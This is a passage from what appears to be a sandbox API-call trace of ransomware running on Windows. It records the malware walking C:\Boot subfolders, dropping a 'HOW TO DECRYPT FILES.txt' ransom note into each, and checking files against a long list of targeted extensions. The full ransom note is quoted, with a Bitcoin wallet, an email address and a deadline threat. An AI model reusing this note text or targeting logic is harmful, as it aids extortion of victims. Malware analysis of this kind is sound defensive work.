FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.392] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.392] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0057.392] lstrcmpA (lpString1=".", lpString2="ru-RU") returned -1 [0057.392] lstrcmpA (lpString1="..", lpString2="ru-RU") returned -1 [0057.392] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.393] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0057.393] lstrlenA (lpString="C:\\Boot\\ru-RU") returned 13 [0057.393] FindFirstFileA (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.394] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.394] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.394] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.394] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.394] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.394] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.394] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.394] PathFindFileNameA (pszPath="C:\\Boot\\ru-RU\\*.*") returned="*.*" [0057.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\ru-RU\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0057.394] PathAddBackslashA (in: pszPath="C:\\Boot\\ru-RU\\" | out: pszPath="C:\\Boot\\ru-RU\\") returned="" [0057.394] lstrcatA (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\ru-RU\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\ru-RU\\HOW TO DECRYPT FILES.txt" [0057.394] GetFileAttributesA (lpFileName="C:\\Boot\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ru-ru\\how to decrypt files.txt")) returned 0xffffffff [0057.394] CreateFileA (lpFileName="C:\\Boot\\ru-RU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ru-ru\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.395] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.395] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.396] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.396] CloseHandle (hObject=0x84) returned 1 [0057.396] lstrcatA (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.397] lstrlenA (lpString="*.ems") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.397] lstrlenA (lpString="*.db") returned 4 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.397] lstrlenA (lpString="*.dbf") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.397] lstrlenA (lpString="*.myox") returned 6 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.397] lstrlenA (lpString="*.myo") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.397] lstrlenA (lpString="*.qbw") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.397] lstrlenA (lpString="*.qbb") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.397] lstrlenA (lpString="*.qbm") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.397] lstrlenA (lpString="*.qbo") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.397] lstrlenA (lpString="*.qbx") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.397] lstrlenA (lpString="*.qba") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.397] lstrlenA (lpString="*.qby") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.397] lstrlenA (lpString="*.qbj") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.397] lstrlenA (lpString="*.ofx") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.397] lstrlenA (lpString="*.qif") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.397] lstrlenA (lpString="*.mye") returned 5 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.397] lstrlenA (lpString="*.mbox") returned 6 [0057.397] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.398] lstrlenA (lpString="*.eml") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.398] lstrlenA (lpString="*.pst") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.398] lstrlenA (lpString="*.ost") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.398] lstrlenA (lpString="*.idx") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.398] lstrlenA (lpString="*.dbx") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.398] lstrlenA (lpString="*.sql") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.398] lstrlenA (lpString="*.mdb") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.398] lstrlenA (lpString="*.fdb") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.398] lstrlenA (lpString="*.wab") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.398] lstrlenA (lpString="*.dat") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.398] lstrlenA (lpString="*.txt") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.398] lstrlenA (lpString="*.jpeg") returned 6 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.398] lstrlenA (lpString="*.jpg") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.398] lstrlenA (lpString="*.png") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.398] lstrlenA (lpString="*.php") returned 5 [0057.398] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.398] lstrlenA (lpString="*.cs") returned 4 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.399] lstrlenA (lpString="*.cpp") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.399] lstrlenA (lpString="*.rar") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.399] lstrlenA (lpString="*.zip") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.399] lstrlenA (lpString="*.html") returned 6 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.399] lstrlenA (lpString="*.htm") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.399] lstrlenA (lpString="*.xlsx") returned 6 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.399] lstrlenA (lpString="*.xls") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.399] lstrlenA (lpString="*.mp4") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.399] lstrlenA (lpString="*.ppt") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.399] lstrlenA (lpString="*.pptx") returned 6 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.399] lstrlenA (lpString="*.doc") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.399] lstrlenA (lpString="*.dot") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.399] lstrlenA (lpString="*.docx") returned 6 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.399] lstrlenA (lpString="*.7z") returned 4 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.399] lstrlenA (lpString="*.tar") returned 5 [0057.399] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.400] lstrlenA (lpString="*.bz2") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.400] lstrlenA (lpString="*.gz") returned 4 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.400] lstrlenA (lpString="*.mkv") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.400] lstrlenA (lpString="*.eml") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.400] lstrlenA (lpString="*.msg") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.400] lstrlenA (lpString="*.edb") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.400] lstrlenA (lpString="*.accdb") returned 7 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.400] lstrlenA (lpString="*.odb") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.400] lstrlenA (lpString="*.java") returned 6 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.400] lstrlenA (lpString="*.asm") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.400] lstrlenA (lpString="*.pfx") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.400] lstrlenA (lpString="*.pem") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.400] lstrlenA (lpString="*.p12") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.400] lstrlenA (lpString="*.gpg") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.400] lstrlenA (lpString="*.vsd") returned 5 [0057.400] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.401] lstrlenA (lpString="*.odg") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.401] lstrlenA (lpString="*.raw") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.401] lstrlenA (lpString="*.nef") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.401] lstrlenA (lpString="*.svg") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.401] lstrlenA (lpString="*.psd") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.401] lstrlenA (lpString="*.vmx") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.401] lstrlenA (lpString="*.vmdk") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.401] lstrlenA (lpString="*.vdi") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.401] lstrlenA (lpString="*.lay6") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.401] lstrlenA (lpString="*.mpeg") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.401] lstrlenA (lpString="*.djvu") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.401] lstrlenA (lpString="*.tiff") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.401] lstrlenA (lpString="*.backup") returned 8 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.401] lstrlenA (lpString="*.pdf") returned 5 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.401] lstrlenA (lpString="*.cert") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.401] lstrlenA (lpString="*.docm") returned 6 [0057.401] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.401] lstrlenA (lpString="*.xlsm") returned 6 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.402] lstrlenA (lpString="*.dwg") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.402] lstrlenA (lpString="*.nd") returned 4 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.402] lstrlenA (lpString="*.tlg") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.402] lstrlenA (lpString="*.lgb") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.402] lstrlenA (lpString="*.mov") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.402] lstrlenA (lpString="*.xdw") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.402] lstrlenA (lpString="*.ods") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.402] lstrlenA (lpString="*.wav") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.402] lstrlenA (lpString="*.mp3") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.402] lstrlenA (lpString="*.aiff") returned 6 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.402] lstrlenA (lpString="*.flac") returned 6 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.402] lstrlenA (lpString="*.m4a") returned 5 [0057.402] PathMatchSpecA (pszFile="C:\\Boot\\ru-RU\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.403] lstrlenA (lpString="*.csv") returned 5 [0057.403] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.403] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.403] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0057.403] lstrcmpA (lpString1=".", lpString2="sv-SE") returned -1 [0057.403] lstrcmpA (lpString1="..", lpString2="sv-SE") returned -1 [0057.403] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.403] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0057.403] lstrlenA (lpString="C:\\Boot\\sv-SE") returned 13 [0057.403] FindFirstFileA (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.403] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.403] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.403] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.404] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.404] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.404] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.404] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.404] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.404] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.404] PathFindFileNameA (pszPath="C:\\Boot\\sv-SE\\*.*") returned="*.*" [0057.404] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\sv-SE\\" | out: lpString1="C:\\Boot\\sv-SE\\") returned="C:\\Boot\\sv-SE\\" [0057.404] PathAddBackslashA (in: pszPath="C:\\Boot\\sv-SE\\" | out: pszPath="C:\\Boot\\sv-SE\\") returned="" [0057.404] lstrcatA (in: lpString1="C:\\Boot\\sv-SE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\sv-SE\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\sv-SE\\HOW TO DECRYPT FILES.txt" [0057.404] GetFileAttributesA (lpFileName="C:\\Boot\\sv-SE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\sv-se\\how to 